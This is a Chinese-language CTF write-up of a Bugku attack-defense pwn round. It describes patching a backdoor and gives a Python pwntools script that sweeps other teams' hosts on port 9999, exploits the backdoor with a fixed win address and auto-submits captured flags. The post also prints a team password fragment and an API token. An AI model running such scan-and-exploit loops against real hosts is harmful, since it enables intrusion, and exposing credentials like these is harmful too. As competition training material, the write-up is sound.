Bugku_AWD_PWN

bugku的 “当前可公开信息”:

bugku的awd会给我们一个ip,例如本次比赛我们队的ip是192-168-1-21.pvp4772.bugku.cn,其他人的ip是192-168-1-X.pvp4772.bugku.cn,需要我们自己写脚本发现

账号密码:team1:206a75a313e0cded3610aa5e4exxxxxx

token(用来使用api提交flag的):2501d977e7b1c2cd62a2be6df3b52714

api:https://ctf.bugku.com/pvp/submit.html?token={token}&flag={flag}

基本过程:

首先我们用xftp(或者ssh)连上靶机,将/home/ctf/pwn下下来,发现后门,顺手给他patch了

image-20240726002039597

image-20240726002109329在这里ctrl+n即可,上次国赛awdp有一题也是这样patch的,应该问题不大

左上角Edit->patch program->apply patches to

image-20240726002215514

pwn题就是个签到题,不会打pwn的来了都能打

image-20240726002436643

在网上看了找了几篇博客,有一篇写的挺全面的,可以学习一下:https://blog.csdn.net/kidsama123/article/details/138225763

里面用的init_hosts.py,不太会用,自己写的时候放到payload里了

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
import socket
import re
import requests

def check_connection(ip, port):
try:
with socket.create_connection((ip, port), timeout=2) as s:
return s
except Exception as e:
return None

def extract_flag(data):
# Use regular expression to find the flag pattern
match = re.search(r'flag{[^}]+}', data.decode('utf-8'))
if match:
return match.group(0)
return None

def submit_flag(token, flag):
url = f"https://ctf.bugku.com/pvp/submit.html?token={token}&flag={flag}"
response = requests.get(url)
return response.text

def execute_script(ip, port):
try:
p = remote(str(ip), port)
win = 0x4011F6
split_lines = p.recvuntil(b'> ').split(b'\n')
line_c = 0
for line in split_lines:
print(line_c, line)
line_c = line_c + 1
ret_addr = split_lines[10][1:19]
print(ret_addr)
# print(split_lines)
p.sendline(ret_addr)
p.recvuntil(b'= ')
p.sendline("0x4011F6")

final_data = p.recvall()
print(f'final_data:{final_data}')

flag = extract_flag(final_data)
if flag:
print(f"Flag found: {flag}")
# Replace 'your_token_here' with the actual token
token = '2501d977e7b1c2cd62a2be6df3b52714'
result = submit_flag(token, flag)
print(f"Submission result: {result}")
else:
print("Flag not found.")

except Exception as e:
print(f"Error executing script: {e}")

port = 9999 # Adjust the port if needed
for x in range(1, 255):
# if x == 21: # 白名单
# continue
ip = f"192-168-1-{x}.pvp4772.bugku.cn" # 192-168-1-X.pvp4772.bugku.cn
connection = check_connection(ip, port)
if connection:
print(f"Connection successful to {ip}")
execute_script(ip, port)
else:
print(f"Connection failed to {ip}")

简单讲一下流程,先用nmap扫一下ip开放的端口,应该能扫到9999是pwn开放的端口,但是因为我从网上搜到了bugku的端口是9999,所以忘记扫了,放一张网图

bb78283c9d55a41d1b86ce2d7f8435b4

_connection()检查一下这个ip的9999是否可连通,如果可连通就用pwntools连一下执行我们的exp,也就是execute_script()的try里面的上半部分,如果在p.recvall()`里面发现了flag{xxx},就用题目提供的api提交这个flag并打印response

0bb3ebe765be1b801be238237d5a7b31

后来另一队把洞修了就变成这样了

image-20240726004611879

比赛中是每固定时间一轮,所以按我这个脚本就得每轮手动运行一次,可优化的地方还有很多,比如上面那个博客里写到的加个时间获取,设置初始时间,每轮时间,然后循环执行

pwn_waf

在将pwn_waf部署到靶机,并根据readme.md操作到make catch的时候,距离结束只剩下不到十分钟了,最后也是没来的及测试如何抓流量反打就结束了,从来没感觉1个小时这么快过,留到下一次打awd再测试吧